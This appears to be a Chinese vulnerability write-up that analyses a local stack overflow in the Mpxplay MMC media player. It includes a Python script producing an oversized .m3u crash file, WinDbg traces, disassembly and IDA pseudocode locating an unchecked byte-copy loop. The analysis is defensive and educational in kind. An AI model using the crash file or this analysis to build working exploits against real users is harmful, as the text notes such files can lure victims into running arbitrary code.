使用如下python代码生成一个可以触发漏洞的m3u文件,调试环境为win7,由于存在ASLR,所以每次需要将改变的地址高4位加偏移计算真正地址。此漏洞依然是由于没有对长度进行检查的逻辑错误导致的本地溢出,可以构造畸形文件诱使目标点击后执行任意代码。
```
junk = "A"*66666
file = open("CRASH.m3u",'w')
file.write(junk)
file.close()
```
生成后打开mmc,触发这个漏洞,程序中断
```
0:009> t
(20ec.26d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=74bbc2d6 edx=04d9e420 esi=00000000 edi=41414141
eip=00431af9 esp=04d9f020 ebp=04d9f038 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
mpxp_mmc+0x31af9:
00431af9 f643100b test byte ptr [ebx+10h],0Bh ds:002b:41414151=jQuery214019834307301789522_1444838931236
```
可以看到程序中断,ebx的值被修改成了41414141,此时[ebx+10h]=[41414141+10h],内存指向了一片无效地址,导致程序崩溃,查看当前内存空间
```
:009> dd esp-100 l50
04d9ef20 41414141 41414141 41414141 41414141
04d9ef30 41414141 41414141 41414141 41414141
04d9ef40 41414141 41414141 41414141 41414141
04d9ef50 41414141 41414141 41414141 41414141
04d9ef60 41414141 41414141 41414141 41414141
04d9ef70 41414141 41414141 41414141 41414141
04d9ef80 41414141 41414141 41414141 41414141
04d9ef90 41414141 41414141 41414141 41414141
04d9efa0 41414141 41414141 41414141 41414141
04d9efb0 41414141 41414141 41414141 41414141
04d9efc0 41414141 41414141 41414141 41414141
04d9efd0 41414141 41414141 41414141 41414141
04d9efe0 41414141 41414141 41414141 41414141
04d9eff0 41414141 41414141 41414141 41414141
04d9f000 41414141 41414141 41414141 41414141
04d9f010 41414141 41414141 41414141 41414141
04d9f020 41414141 41414141 41414141 41414141
04d9f030 41414141 00000000 04d90041 0044fe6b
04d9f040 41414141 01008000 00000000 00000000
```
此时已经被覆盖为41414141,也就是我们构造的畸形文件中的畸形字符串。下面我们来还原一下漏洞现场,来看看到底为何会出现栈溢出的情况。首先通过kb查看程序调用情况
```
0:009> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
04d9f038 0044fe6b 41414141 01008000 00000000 mpxp_mmc+0x31af9
04d9f058 00450750 00353d70 0035489c 04d9f08c mpxp_mmc+0x4fe6b
```
首先我们跟入当前触发的漏洞函数
```
00431aea 55 push ebp
00431aeb 89e5 mov ebp,esp
00431aed 56 push esi
00431aee 53 push ebx
00431aef 83ec10 sub esp,10h
00431af2 8b5d08 mov ebx,dword ptr [ebp+8]
00431af5 85db test ebx,ebx
00431af7 745e je mpxp_mmc+0x31b57 (00431b57)
00431af9 f643100b test byte ptr [ebx+10h],0Bh ds:002b:41
```
在00431af2的位置ebp+8的值将ebx修改为41414141,导致了这个漏洞的触发,ebp+8的位置正好是该函数的第一个参数,下面我们来看看何处调用了这个函数
```
0044fdf5 55 push ebp
0044fdf6 89e5 mov ebp,esp
0044fdf8 56 push esi
0044fdf9 53 push ebx
0044fdfa 83ec10 sub esp,10h
0044fdfd 8b450c mov eax,dword ptr [ebp+0Ch]
0044fe00 c744240800400000 mov dword ptr [esp+8],4000h
0044fe08 8b7508 mov esi,dword ptr [ebp+8]
0044fe0b c7042400000000 mov dword ptr [esp],0
0044fe12 89442404 mov dword ptr [esp+4],eax
0044fe16 e8431dfeff call mpxp_mmc+0x31b5e (00431b5e)
0044fe1b 85c0 test eax,eax
0044fe1d 89c3 mov ebx,eax
0044fe1f 744e je mpxp_mmc+0x4fe6f (0044fe6f)
0044fe21 8b461c mov eax,dword ptr [esi+1Ch]
0044fe24 394620 cmp dword ptr [esi+20h],eax
0044fe27 7726 ja mpxp_mmc+0x4fe4f (0044fe4f)
0044fe29 c744240c00000000 mov dword ptr [esp+0Ch],0
0044fe31 c744240800000000 mov dword ptr [esp+8],0
0044fe39 c744240400800001 mov dword ptr [esp+4],1008000h
0044fe41 891c24 mov dword ptr [esp],ebx
0044fe44 e81e1ffeff call mpxp_mmc+0x31d67 (00431d67)
0044fe49 89861c040000 mov dword ptr [esi+41Ch],eax
0044fe4f 8b4514 mov eax,dword ptr [ebp+14h]
0044fe52 89da mov edx,ebx
0044fe54 8b4d10 mov ecx,dword ptr [ebp+10h]
0044fe57 890424 mov dword ptr [esp],eax
0044fe5a 89f0 mov eax,esi
0044fe5c e84ffcffff call mpxp_mmc+0x4fab0 (0044fab0)
0044fe61 891c24 mov dword ptr [esp],ebx ss:002b:04e0f040=00000000
0044fe64 89c6 mov esi,eax
0044fe66 e87f1cfeff call mpxp_mmc+0x31aea (00431aea)
```
可以看到0044fe66处调用了漏洞函数,我们在上层函数下断点,用bp 0044fdf5下断点,重新运行程序,加载畸形文件后在断点处中断,观察程序运行情况。
```
0:031> bl
0 e 0044fdf5 0001 (0001) 0:**** mpxp_mmc+0x4fdf5
0:031> g
Breakpoint 0 hit
eax=012b489c ebx=012b3d70 ecx=04e0f08c edx=00000000 esi=00a25c90 edi=0333e670
eip=0044fdf5 esp=04e0f05c ebp=04e0f428 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
mpxp_mmc+0x4fdf5:
0044fdf5 55 push ebp
```
可以看到此时程序并没有畸形字符串覆盖,单步调试
```
0:009> p
eax=012b3d70 ebx=0a92fb58 ecx=04e0f08c edx=0a92fb58 esi=012b3d70 edi=0333e670
eip=0044fe5c esp=04e0f040 ebp=04e0f058 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
mpxp_mmc+0x4fe5c:
0044fe5c e84ffcffff call mpxp_mmc+0x4fab0 (0044fab0)
0:009> p
eax=00000000 ebx=41414141 ecx=74bbc2d6 edx=04e0e420 esi=41414141 edi=41414141
eip=0044fe61 esp=04e0f040 ebp=04e00041 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mpxp_mmc+0x4fe61:
0044fe61 891c24 mov dword ptr [esp],ebx ss:002b:04e0f040=00000000
```
当执行完call mpxp_mmc+04fab0后,内存空间被畸形字符串覆盖,漏洞可以定位到mpxp_mmc+0x4fab0,继续单步执行到漏洞触发函数之后,查看当前参数地址值,这些值将会在进入漏洞函数后被修改为ebp
```
0:009> dd esp-50
04e0eff0 41414141 41414141 41414141 41414141
04e0f000 41414141 41414141 41414141 41414141
04e0f010 41414141 41414141 41414141 41414141
```
此时esp的值已经被改为41414141,进入函数后,栈顶被抬高,栈底被修改为当前栈顶,从而导致了漏洞的发生,下面我们来看看导致变量被畸形字符串修改的部分,按照刚才的方法重新加载畸形文件。单步跟进漏洞函数
```
0:009> p
eax=04dfec20 ebx=00000001 ecx=0b6dd595 edx=00a41741 esi=01073d70 edi=04dfe420
eip=0044fc01 esp=04dfe3f0 ebp=04dff038 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mpxp_mmc+0x4fc01:
0044fc01 e822f4feff call mpxp_mmc+0x3f028 (0043f028)
0:009> p
eax=00000419 ebx=00000001 ecx=04dfe400 edx=04dfec20 esi=01073d70 edi=04dfe420
eip=0044fc06 esp=04dfe3f0 ebp=04dff038 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mpxp_mmc+0x4fc06:
0044fc06 f6058c5de50002 test byte ptr [mpxp_mmc+0xa55d8c (00e55d8c)],2 ds:002b:00e55d8c=01
```
在跟入该函数前看看ida对该段函数反编译的伪代码
```
if ( !a4 || sub_43FCA4(v23, a4) )
{
sub_43F028(&v26, v20, v23);
if ( byte_E55D8C & 2 )
{
++v21;
sprintf(v23, "Loading list: %4d. (press ESC to stop)", v21);
sub_4876EB(0, 0, v23);
sub_441685(&v26, &v26);
}
```
跟入这个函数,但步步过调试查看内存何时被覆盖,我们跟到0043f0e1这个地址发现问题,在这个地址下断点,重启程序后F5步过,经过两次步过后,程序内存空间被覆盖。由于ASLR的存在,地址前4位会发生变化,在调试过程中需要根据esp的高4位+低四位偏移的方法确定内存空间的位置。
```
0:030> bp 0043f0e1
*** ERROR: Module load completed but symbols could not be loaded for E:\k0_pwn\sebug\Mpxplay M\msvcrt\Mpxplay_MMC_v200a\mpxp_mmc.exe
0:030> g
Breakpoint 0 hit
eax=00000001 ebx=013a489c ecx=0b69353a edx=04e0f886 esi=013a3e04 edi=04e0f87c
eip=0043f0e1 esp=04e0f820 ebp=04e0f838 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mpxp_mmc+0x3f0e1:
0043f0e1 e883f2ffff call mpxp_mmc+0x3e369 (0043e369)
0:009> p
eax=00000023 ebx=013a489c ecx=04e0f87c edx=013a48bf esi=013a3e04 edi=04e0f87c
eip=0043f0e6 esp=04e0f820 ebp=04e0f838 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
mpxp_mmc+0x3f0e6:
0043f0e6 895d08 mov dword ptr [ebp+8],ebx ss:002b:04e0f840=013a489c
0:009> g
Breakpoint 0 hit
eax=00000001 ebx=04e0ec20 ecx=00a408f0 edx=04e0ec3a esi=04e0ec3a edi=04e0e420
eip=0043f0e1 esp=04e0e3d0 ebp=04e0e3e8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
mpxp_mmc+0x3f0e1:
0043f0e1 e883f2ffff call mpxp_mmc+0x3e369 (0043e369)
0:009> g
Breakpoint 0 hit
eax=00000001 ebx=04e0ec20 ecx=00a408f0 edx=04e0ec3a esi=04e0ec3a edi=04e0e420
eip=0043f0e1 esp=04e0e3d0 ebp=04e0e3e8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
mpxp_mmc+0x3f0e1:
0043f0e1 e883f2ffff call mpxp_mmc+0x3e369 (0043e369)
```
对mpxp_mmc_0x3e369的静态分析
```
int __cdecl sub_43E369(int a1, int a2)
{
int v2; // edx@1
int v3; // eax@2
char v4; // zf@4
v2 = a1;
if ( !a1 )
return 0;
v3 = a2;
if ( !a2 )
{
*(_BYTE *)a1 = 0;
return 0;
}
while ( 1 )
{
v4 = *(_BYTE *)v3 == 0;
*(_BYTE *)v2 = *(_BYTE *)v3;
if ( v4 )
break;
++v2;
++v3;
}
return v3 - a2;
}
```
在while函数执行break后,值被修改,分析这个while函数,此时v3的值为eax的值,v2的值为edx的值,v4为计数器,当执行完成后,观察eax及其计数器前面的空间。
```
0:009> dd eax-50
04dae7cf 41414141 41414141 41414141 41414141
04dae7df 41414141 41414141 41414141 41414141
04dae7ef 41414141 41414141 41414141 41414141
04dae7ff 41414141 41414141 41414141 41414141
04dae80f 41414141 41414141 41414141 41414141
04dae81f 00000000
```
此时edx的值也被eax覆盖,而edx前面的空间包含了esp的空间,至此可以分析出此漏洞原因是执行sub_43E369函数执行while语句的时候,没有对byte v3的长度进行检查就进行了赋值操作,导致了拷贝超长畸形字符串后覆盖了esp中的值,导致了本地溢出的发生。
暂无评论